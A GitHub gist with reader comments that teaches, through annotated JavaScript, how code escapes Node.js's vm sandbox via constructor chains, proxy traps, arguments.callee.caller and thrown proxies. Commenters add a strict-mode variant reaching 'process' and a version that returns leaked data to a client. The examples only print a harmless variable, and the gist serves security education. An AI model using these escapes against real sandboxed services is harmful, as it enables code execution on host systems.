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@jcreedcmu
Created February 19, 2018 18:09
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Escaping nodejs vm
////////
// The vm module lets you run a string containing javascript code 'in
// a sandbox', where you specify a context of global variables that
// exist for the duration of its execution. This works more or less
// well, and if you're in control of the code that's running, and you
// have a reasonable protocol in mind// for how it expects a certain
// context to exist and interacts with it --- like, maybe a plug-in
// API for a program, with some endpoints defined for it that do
// useful domain-specific things --- your life can go smoothly.
// However, the documentation [https://nodejs.org/api/vm.html] says
// very pointedly:
// Note: The vm module is not a security mechanism. Do not use it
// to run untrusted code.
// because untrusted code as a number of avenues for maliciously
// escaping the sandbox. Here's a few of them that I like,
// derived in part from things I learned reading
// [https://github.com/patriksimek/vm2/issues/32]
vm = require('vm');
////////
// A global variable the sandbox isn't supposed to see:
sauce = "laser"; // 'laser is the sauce'
// [https://www.theregister.co.uk/2018/02/08/waymo_uber_trial/]
////////
// If you directly access the variable from inside the sandbox, you don't
// get to see it.
const code1 = `"this is the sauce " + sauce`;
try {
console.log(vm.runInContext(code1, vm.createContext({})));
}
catch(e) {
console.log("I expected this to go wrong:", e);
// We see: "ReferenceError: sauce is not defined"
}
////////
// But here's a funny thing. That empty object we passed as the constructor?
// Like every other object, it has a constructor.
console.log(({}).constructor); // -> [Function: Object]
// And that constructor has a constructor, which is the constructor of
// Functions.
console.log(({}).constructor.constructor); // -> [Function: Function]
// Did you know that if you call the Function constructor with a
// string argument, it basically does an eval and makes a function
// whose body is that string?
console.log(new Function("return (1+2)")()); // -> 3
console.log(({}).constructor.constructor("return (1+2)")()); // -> 3
console.log(({}).constructor.constructor("return sauce")()); // -> laser
// And the initial value of 'this' when we run in a vm is the global
// context object.
console.log(vm.runInContext(`this.a`, vm.createContext({a: 17}))); // -> 17
// Here's the critical thing: even if we take the 'empty' object, its
// constructor's constructor is still the geniune real Function that lives
// *outside* the vm, and constructs functions that run outside the vm.
// So if we do the following:
const code2 = `(this.constructor.constructor("return sauce"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> laser
// ...we leak data from the global context into the vm.
////////
// This particular vector can be patched up by passing in a more restricted object
// as a context:
try {
console.log(vm.runInContext(code2, vm.createContext(Object.create(null))));
}
catch(e) {
console.log("I expected this to go wrong:", e);
// We see: "ReferenceError: sauce is not defined"
}
// But this means we can't easily pass *any* data into the vm without
// worrying that some data somewhere has a reference to the global
// Object or Function or almost anything that has a chain of
// .constructor or .__proto or anything else that eventually yields
// the real outer Function constructor.
////////
// Suppose we're ok with that limitation with respect to the vm
// context object. It's *still* dangerous to interact with any data
// that the untrusted vm code returns, because it might get hold of
// indirect references to Function via proxies:
const code3 = `new Proxy({}, {
set: function(me, key, value) { (value.constructor.constructor('console.log(sauce)'))() }
})`;
data = vm.runInContext(code3, vm.createContext(Object.create(null)));
// This line executes the setter proxy function, and
// prints out 'laser' despite no console.log immediately present.
data['some_key'] = {};
////////
// Even *reading* fields from returned data can be exploited, since
// the call stack when the proxy function is executed contains frames
// with references back to the real function:
const code4 = `new Proxy({}, {
get: function(me, key) { (arguments.callee.caller.constructor('console.log(sauce)'))() }
})`;
data = vm.runInContext(code4, vm.createContext(Object.create(null)));
// The following executes the getter proxy function, and
// prints out 'laser' despite no console.log immediately present.
if (data['some_key']) {
}
////////
// Also, the vm code could throw an exception, with proxies on it.
const code5 = `throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
(cc.constructor.constructor('console.log(sauce)'))();
}
return me[key];
}
})`;
try {
vm.runInContext(code5, vm.createContext(Object.create(null)));
}
catch(e) {
// The following prints out 'laser' twice, (as side-effects of e
// being converted to a string) followed by {}, which is the effect
// of the console.log actually *on* this line printing out the
// stringified value of the exception, which is in this case a
// (proxy-wrapped) empty object.
console.log(e);
}
@seanmcl
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seanmcl commented Feb 19, 2018

Nice.

@CaptainFreak
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Great. Keep Sharing !

@Musinux
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Musinux commented Jul 11, 2021

Just to mention a specific case in Line 107:

const code4 = `new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('console.log(sauce)'))() }
})`;

Consider returning instead of console.log(), for example in a server responding to a client situation:

const code4 = `new Proxy({}, {
  get: function(me, key) { return (arguments.callee.caller.constructor('return sauce'))() }
})`;

@paulphys
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paulphys commented Aug 5, 2021

Great resource, thanks for sharing. Helped me to crack a CTF 👍

@mjesun
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mjesun commented Feb 14, 2022

This is brilliant. Nothing else to add!

@Wambosa
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Wambosa commented Sep 5, 2022

You sir, have created a gem on the internet. Thank you sincerely for the succinct lesson here :)

@wupco
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wupco commented Feb 5, 2023

For strict mode:

const code4 = `"use strict"; new Proxy(_=>_ , {
  get: new Proxy(_=>_ , {
    apply: function(target, thisArg, argumentsList) {
        argumentsList.constructor.constructor("console.log(process)")();
      }
  })
})`;

data = vm.runInContext(code4, vm.createContext(Object.create(null)));
// The following executes the getter proxy function, and
// prints out 'laser' despite no console.log immediately present.
if (data['some_key']) {

}

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